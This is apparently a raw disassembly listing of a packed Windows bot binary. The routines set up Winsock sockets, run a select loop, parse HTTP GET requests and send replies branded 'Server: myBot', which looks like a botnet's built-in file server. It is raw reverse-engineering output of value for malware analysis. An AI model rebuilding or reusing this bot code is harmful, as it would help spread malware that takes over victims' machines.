		dd 0FFA564E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A24h
		dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h
		dd 4CBA3Ch, 74FFF883h, 0FF565696h, 4CB76035h, 50B5FF00h
		dd 0E8FFFFFFh, 0FFFFB6C2h, 685059h, 8D004347h, 0FFF94085h
		dd 0E85053FFh, 0D008h, 8D1CC483h, 0FFF94085h, 50006AFFh
		dd 0C657E8h, 8D505900h,	0FFF94085h, 75FF50FFh, 7415FF08h
		dd 83004CBAh, 840FFFF8h, 0FFFFFF43h, 0E76805FFh, 38E9004Ch
		dd 57FFFFFFh, 0BABC15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC335E8h
		dd 6A59FFh, 0C56E890h
		db 2Dh,	2
word_40F3AA	dw 8B55h		; DATA XREF: sub_40BD91+22Ao
		dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h,	0A9h, 0BD8DF08Bh
		dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
		dd 16850F6h, 89000001h,	5D89D85Dh, 0E85D89E0h, 0FDD4B589h
		dd 0B589FFFFh, 0FFFFFBC4h, 4DE0E890h, 5356716Ah, 1FE8026Ah
		dd 90716A48h, 71DC358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh
		dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h,	8B57FB6Ah
		dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 90578004h, 6A211DE8h
		dd 60A16671h, 83004CB7h, 5000C865h, 0C445C766h,	15FF0002h
		dd 4CBA24h, 0C6458966h,	6AC4458Dh, 0E8575010h, 716A4A6Ah
		dd 7DC08590h, 0E9C38B07h, 548h,	0E8570A6Ah, 716A696Ah
		dd 0D49D8990h, 8BFFFFFDh, 4272081Dh, 0D8BD8900h, 89FFFFFDh
		dd 416AFC7Dh, 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh
		dd 0C4858DF6h, 56FFFFFBh, 8B505656h, 5040FC45h,	23DAE890h
		dd 0F883716Ah, 0F6840FFFh, 33000004h, 0FC7539FFh, 7C087D89h
		dd 6AF633C5h, 60858D64h, 56FFFFFDh, 0CA96E850h,	646A0000h
		dd 0FF50858Dh, 5056FFFFh, 0CA87E8h, 18C48300h, 0FBC4858Dh
		dd 5750FFFFh, 16E57E8h,	0FC08500h, 4A284h, 0F87D3B00h
		dd 458D7A75h, 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 90F875FFh
		dd 6A916CE8h, 0FFF88371h, 479840Fh, 0C9330000h,	0FDD4B539h
		dd 1676FFFFh, 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h
		dd 0FFFFFDD4h, 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h
		dd 890D7340h, 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh
		dd 0FC458903h, 68156A56h, 4349C4h, 0E9D3FF50h, 423h, 60858D56h
		dd 6AFFFFFDh, 0E8575064h, 716A6100h, 7FC08590h,	0D4958B52h
		dd 33FFFFFDh, 76D63BC9h, 0D8858D3Ah, 39FFFFFDh,	410A7438h
		dd 3B04C083h, 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh
		dd 4508BFFh, 8B108941h,	0FFFDD495h, 4C083FFh, 72CA3B4Ah
		dd 0D48DFFECh, 57FFFFFDh, 248BE890h, 0BCE9716Ah, 8D000003h
		dd 0FFFCC885h, 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh
		dd 4349BCh, 0D6DDE850h,	858D0000h, 0FFFFFF50h, 4349B468h
		dd 39E85000h, 830000D4h, 0C08518C4h, 6A560D75h,	499C6816h
		dd 82E90043h, 8D000000h, 0FFFF5085h, 499468FFh,	0E8500043h
		dd 0D414h, 59C08559h, 6A560A75h, 497C6814h, 61EB0043h
		dd 0FF50858Dh, 7468FFFFh, 50004349h, 0D3F3E8h, 0C0855900h
		dd 560A7559h, 64680D6Ah, 0EB004349h, 50858D40h,	68FFFFFFh
		dd 43495Ch, 0D3D2E850h,	85590000h, 0A7559C0h, 68106A56h
		dd 434948h, 858D1FEBh, 0FFFFFF50h, 43494468h, 0B1E85000h
		dd 590000D3h, 7559C085h, 1E6A560Eh, 43492468h, 0D9E95700h
		dd 0BF000002h, 43491Ch,	0FF50858Dh, 5057FFFFh, 0D38BE8h
		dd 0C0855900h, 8D247559h, 0FFFCC885h, 491868FFh, 0E8500043h
		dd 0D374h, 59C08559h, 6A560D75h, 49046813h, 9AE90043h
		dd 8D000002h, 0FFFF5085h, 0E85057FFh, 0D354h, 59C08559h
		dd 858D2475h, 0FFFFFCC8h, 43490068h, 3DE85000h,	590000D3h
		dd 7559C085h, 136A560Dh, 4348EC68h, 263E900h, 858D0000h
		dd 0FFFFFF50h, 4348E468h, 19E85000h, 590000D3h,	7559C085h
		dd 0BE0A6A34h, 4348B8h,	0D8BD8D59h, 0F3FFFFFEh,	858D50A5h
		dd 0FFFFFED8h, 0E8A56650h, 0C264h, 858D5059h, 0FFFFFED8h
		dd 875FF50h, 0F633D3FFh, 21DE9h, 50858D00h, 68FFFFFFh
		dd 4348B0h, 0D2CEE850h,	85590000h, 2A7559C0h, 98BE056Ah
		dd 59004348h, 0FF38BD8Dh, 0A5F3FFFFh, 8D50A566h, 0FFFF3885h
		dd 0E8A450FFh, 0C218h, 858D5059h, 0FFFFFF38h, 858DB2EBh
		dd 0FFFFFF50h, 43489068h, 8DE85000h, 590000D2h,	0F59C085h
		dd 0B685h, 2C858D00h, 50FFFFFDh, 0FF04858Dh, 8D50FFFFh
		dd 8D50EC45h, 8D50E445h, 8D50DC45h, 8D50D445h, 0FFFD6085h
		dd 486868FFh, 0E8500043h, 0D4E7h, 0FF04858Dh, 0E850FFFFh
		dd 0C951h, 858DF88Bh, 0FFFFFD2Ch, 0C943E850h, 45890000h
		dd 8D326AF4h, 0FFFF0485h, 0E85056FFh, 0C748h, 8D34C483h
		dd 0FFFF0485h, 0F475FFFFh, 48606857h, 0E8500043h, 0CA26h
		dd 858D106Ah, 0FFFFFF04h, 56E85056h, 830000CFh,	45891CC4h
		dd 0EC458DF4h, 0E4458D50h, 0DC458D50h, 0D4458D50h, 0B4458D50h
		dd 43485468h, 0F3E85000h, 830000C9h, 6A5618C4h,	4834681Dh
		dd 6E90043h, 8D000001h,	0FFFF5085h, 482C68FFh, 0E8500043h
		dd 0D1BCh, 59C08559h, 0CC850Fh,	6A560000h, 48006828h, 75FF0043h
		dd 0FFD3FF08h, 458DF475h, 8E850B4h, 59000001h, 5901F883h
		dd 9E850Fh, 0B5390000h,	0FFFFFBBCh, 8D562375h, 0FFF72085h
		dd 0B8B5FFFFh, 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h
		dd 9F7FE8FFh, 0C483FFFFh, 14AE814h, 0F8830000h,	93850F01h
		dd 56000000h, 0E868176Ah, 0FF004347h, 0D3FF0875h, 50B4458Dh
		dd 0F720858Dh, 0B068FFFFh, 50004347h, 0C949E8h,	0CC48300h
		dd 0FBBCB539h, 2375FFFFh, 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h
		dd 858D50FFh, 0FFFFFB38h, 20B5FF50h, 0E8FFFFF9h, 0FFFF9F21h
		dd 8D14C483h, 0FFF72085h, 0E1E850FFh, 0FF000063h, 4CE53005h
		dd 2EEB5900h, 68206A56h, 43478Ch, 858D1FEBh, 0FFFFFF50h
		dd 42CD3068h, 0D5E85000h, 590000D0h, 7559C085h,	1B6A560Dh
		dd 43477068h, 875FF00h,	646AD3FFh, 0FD60858Dh, 5056FFFFh
		dd 0C5D3E8h, 87D8B00h, 470CC483h, 89FC7D3Bh, 8E0F087Dh
		dd 0FFFFFB19h, 0FFFAD9E9h, 58016AFFh, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4CE76C, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CE76C
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FA37
		push	dword_4CE76C
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40FA37:				; CODE XREF: ___:0040FA1Fj
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2670343h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40FAD3
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40FAB7
		push	edi
		mov	edi, 400h


loc_40FA7F:				; CODE XREF: ___:0040FAB4j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CE76C
		nop
		call	near ptr 71AB1AF4h
		push	1
		nop
		call	near ptr 26803E7h
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40FA7F
		pop	edi


loc_40FAB7:				; CODE XREF: ___:0040FA77j
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	dword_4CE76C
		call	near ptr 71AB1A6Dh
		nop
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax


loc_40FAD3:				; CODE XREF: ___:0040FA71j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FAD6	proc near		; DATA XREF: sub_401ACD+2229o
					; sub_40BD91+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi


loc_40FAE9:				; DATA XREF: Themida_:0055DA38o
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CBA24
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CBAA4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40FEC1
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43E96C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CBA50
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		push	7FFFFFFFh
		push	edi
		call	dword_4CBA4C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CBAC0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40FBAD:				; CODE XREF: sub_40FAD6+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CBA0C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEBC
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40FBE3:				; CODE XREF: sub_40FAD6+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CB910
		test	eax, eax
		jz	loc_40FEA7
		cmp	esi, [ebp+var_C]
		jnz	short loc_40FC65
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CBAB8
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEA7
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FC37
		lea	edx, [ebp+var_134]


loc_40FC2B:				; CODE XREF: sub_40FAD6+15Fj
		cmp	[edx], eax
		jz	short loc_40FC37
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40FC2B


loc_40FC37:				; CODE XREF: sub_40FAD6+14Dj
					; sub_40FAD6+157j
		cmp	ecx, ebx
		jnz	short loc_40FC54
		cmp	ebx, 40h
		jnb	short loc_40FC54
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40FC54:				; CODE XREF: sub_40FAD6+163j
					; sub_40FAD6+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40FEA7
		mov	[ebp+var_8], eax
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FC65:				; CODE XREF: sub_40FAD6+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CBA3C
		test	eax, eax
		jg	short loc_40FCF8
		push	esi
		call	dword_4CBABC
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40FEA7
		lea	eax, [ebp+var_134]


loc_40FCB7:				; CODE XREF: sub_40FAD6+1EBj
		cmp	[eax], esi
		jz	short loc_40FCC8
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FCB7
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FCC8:				; CODE XREF: sub_40FAD6+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FCEC
		lea	eax, [ebp+ecx*4+var_134]


loc_40FCD6:				; CODE XREF: sub_40FAD6+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FCD6


loc_40FCEC:				; CODE XREF: sub_40FAD6+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FCF8:				; CODE XREF: sub_40FAD6+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40FEA7


loc_40FD26:				; CODE XREF: sub_40FAD6+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40FDCB
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FD9F
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41B9C0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40FD9F
		mov	eax, offset asc_42CDD0 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41CAD4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41C890
		add	esp, 10h
		jmp	short loc_40FDB6
; ---------------------------------------------------------------------------


loc_40FD9F:				; CODE XREF: sub_40FAD6+27Fj
					; sub_40FAD6+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_434A04 ; "\r\n"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FDEA


loc_40FDB6:				; CODE XREF: sub_40FAD6+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40FDCB:				; CODE XREF: sub_40FAD6+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41B9C0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40FD26
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FDEA:				; CODE XREF: sub_40FAD6+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FE34
		lea	eax, [ebp+var_134]


loc_40FDF6:				; CODE XREF: sub_40FAD6+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40FE07
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FDF6
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------


loc_40FE07:				; CODE XREF: sub_40FAD6+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FE2B
		lea	eax, [ebp+ecx*4+var_134]


loc_40FE15:				; CODE XREF: sub_40FAD6+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FE15


loc_40FE2B:				; CODE XREF: sub_40FAD6+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------


loc_40FE34:				; CODE XREF: sub_40FAD6+318j
		mov	esi, [ebp+var_4]


loc_40FE37:				; CODE XREF: sub_40FAD6+32Fj
					; sub_40FAD6+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40FEA0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40FEA0
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBAC0
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4100B4
		add	esp, 14h
		jmp	short loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FEA0:				; CODE XREF: sub_40FAD6+369j
					; sub_40FAD6+38Fj
		push	esi
		call	dword_4CBABC


loc_40FEA7:				; CODE XREF: sub_40FAD6+11Dj
					; sub_40FAD6+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40FBE3
		jmp	loc_40FBAD
; ---------------------------------------------------------------------------


loc_40FEBC:				; CODE XREF: sub_40FAD6+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40FEC1:				; CODE XREF: sub_40FAD6+6Aj
					; sub_40FAD6+92j ...
		call	dword_4CB9B8
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4349DC
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40FF07
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409869
		add	esp, 14h


loc_40FF07:				; CODE XREF: sub_40FAD6+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBABC
		push	[ebp+var_254]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
		pop	ebx
sub_40FAD6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF31	proc near		; DATA XREF: sub_4100B4+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41C266
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40FF97
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40FF9C
; ---------------------------------------------------------------------------


loc_40FF97:				; CODE XREF: sub_40FF31+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40FF9C:				; CODE XREF: sub_40FF31+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2760000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2750000h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_410015
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 24h
		jmp	short loc_410036
; ---------------------------------------------------------------------------


loc_410015:				; CODE XREF: sub_40FF31+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 28h


loc_410036:				; CODE XREF: sub_40FF31+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax


loc_41004C:				; DATA XREF: ___:004385F8o
					; ___:0043860Co
		push	[ebp+var_44C]
		call	dword_4CBA74
		cmp	[ebp+var_A4], edi
		jnz	short loc_410076
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_4109F1
		pop	ecx
		pop	ecx
		jmp	short loc_410093
; ---------------------------------------------------------------------------


loc_410076:				; CODE XREF: sub_40FF31+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41036B
		add	esp, 10h


loc_410093:				; CODE XREF: sub_40FF31+143j
		push	[ebp+var_44C]
		call	dword_4CBABC
		push	[ebp+var_B4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
sub_40FF31	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100B4	proc near		; CODE XREF: sub_40FAD6+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41BF70
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_4100EA
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_4100F3
; ---------------------------------------------------------------------------


loc_4100EA:				; CODE XREF: sub_4100B4+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_4100F3:				; CODE XREF: sub_4100B4+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41018E
		mov	[ebp+arg_8], 2


loc_41011E:				; CODE XREF: sub_4100B4+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_41015E
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_41015E
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_410178
; ---------------------------------------------------------------------------


loc_41015E:				; CODE XREF: sub_4100B4+7Aj
					; sub_4100B4+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_41016E
		push	5Ch
		pop	eax
		jmp	short loc_410171
; ---------------------------------------------------------------------------


loc_41016E:				; CODE XREF: sub_4100B4+B3j
		movsx	eax, al


loc_410171:				; CODE XREF: sub_4100B4+B8j
		mov	[ebp+ebx+var_210], al


loc_410178:				; CODE XREF: sub_4100B4+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_41011E


loc_41018E:				; CODE XREF: sub_4100B4+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429ACC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_314]
		push	offset asc_42A084 ; "\n"
		push	eax
		call	sub_41CAD4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 26904CBh
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4101DF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4101E2
		push	[ebp+arg_0]
		jmp	loc_410262
; ---------------------------------------------------------------------------


loc_4101DF:				; CODE XREF: sub_4100B4+11Cj
		mov	[ebp+var_4], esi


loc_4101E2:				; CODE XREF: sub_4100B4+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_4101EF
		mov	[ebp+var_4], esi


loc_4101EF:				; CODE XREF: sub_4100B4+136j
		mov	ebx, [ebp+arg_0]
